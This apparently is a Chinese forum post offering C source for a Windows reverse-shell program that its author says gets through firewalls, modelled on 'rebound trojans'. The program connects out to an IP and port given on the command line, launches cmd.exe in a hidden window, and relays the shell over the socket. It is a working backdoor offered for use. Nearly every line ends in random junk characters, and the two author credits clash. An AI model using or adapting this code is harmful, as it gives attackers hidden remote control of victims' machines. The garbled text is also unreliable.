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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \O=t5yS  
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/* ============================== ? t_$C,A+  
Rebound port in Windows NT :9]"4ktoJ  
By wind,2006/7 w,VUWja  
===============================*/ 1kczlTF  
#include d>hLnz1O  
#include krecUpo  
DAVgP7h'  
#pragma comment(lib,"wsock32.lib") ^3lEfI<pBm  
!Ct'H1J-  
void OutputShell(); Bhf4 /$  
SOCKET sClient; bM>5=Zox  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; T:0#se  
wvz_)b N~A  
void main(int argc,char **argv) cr>"LAi  
{ R4 AKp1Y  
WSADATA stWsaData; &O\$=&, h  
int nRet; JW9U&Bj{  
SOCKADDR_IN stSaiClient,stSaiServer; &Xp<%[:  
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if(argc != 3) 9-hVlQ~|  
{ EZ)$lw/!J  
printf("Useage:\n\rRebound DestIP DestPort\n"); M ]uO%2  
return; I%tJLdL  
} :>o2UH  
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WSAStartup(MAKEWORD(2,2),&stWsaData); xB|?}uS-  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |#J!oBS!  
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stSaiClient.sin_family = AF_INET; Rdl^-\BV  
stSaiClient.sin_port = htons(0); r8TNl@Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '[`pU>9  
gaVQ3NqF  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cUD}SOW  
{ A5kz(pj  
printf("Bind Socket Failed!\n"); 'D[g{LkL  
return; CAtdx!  
} Y N*"q'Yz_  
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stSaiServer.sin_family = AF_INET; 'w`3( ':=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &k@r23V7r  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |yYu!+U  
&- 2i+KjEX  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lQl  
{ p?Jx2(%m  
printf("Connect Error!"); *Ry{}|_8  
return; 8j jq)d4#  
} 97\9!)`,  
OutputShell(); wJ>2}  
} ~]C m  
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void OutputShell() X~> 2iL  
{ I7} o>{  
char szBuff[1024]; %bZ}vJ5b  
SECURITY_ATTRIBUTES stSecurityAttributes; m)"wd$O^w  
OSVERSIONINFO stOsversionInfo; Pj7n_&*/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RJ~I?{yR0[  
STARTUPINFO stStartupInfo; gvy c(d  
char *szShell; 6+ C7vG`  
PROCESS_INFORMATION stProcessInformation; ~spfQV~  
unsigned long lBytesRead; 'J(B{B7|  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 09w<@#  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N3?@CM^hHw  
stSecurityAttributes.lpSecurityDescriptor = 0; '/~j!H4q9  
stSecurityAttributes.bInheritHandle = TRUE; m\;@~o'k  
vj4n=F,Z  
WN9K*Tt~o&  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C ]+J  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); | x/Z qY  
?n V& :~eY  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); THf*<|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \%$z!]S>  
stStartupInfo.wShowWindow = SW_HIDE; <ecif_a=m  
stStartupInfo.hStdInput = hReadPipe; /d-d8n  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $Y&rci]  
ht5eb"c+ 8  
GetVersionEx(&stOsversionInfo); D/Hob  
|n q}#  
switch(stOsversionInfo.dwPlatformId) V>:ubl8j0l  
{ -Gn0TA2/C  
case 1: uBqZ62{G  
szShell = "command.com"; AD4Ot5  
break; *Rj(~Q/t  
default: sJB::6+1(|  
szShell = "cmd.exe"; >uVr;,=y  
break; 1Aw/-FxJ  
} #azD& 6`  
2#t35fU  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uwhb-.w  
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send(sClient,szMsg,77,0); 9Netnzv%  
while(1) 2}8xY:|@(U  
{ 3+d_5l;m)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s6.#uT7h  
if(lBytesRead) =#K$b *#  
{ MO-)j_o-Z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k-X E|v  
send(sClient,szBuff,lBytesRead,0); n2(@uT&>  
} KL4vr|i,  
else t8\XO j  
{ U6 $)e.FO  
lBytesRead=recv(sClient,szBuff,1024,0); U3 y-cgE  
if(lBytesRead<=0) break; i! DO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \aB>Q"pS  
} +ht{ARX2(  
} `D9AtN] R  
^*A8 NdaB  
return; ncCgc5uP  
}
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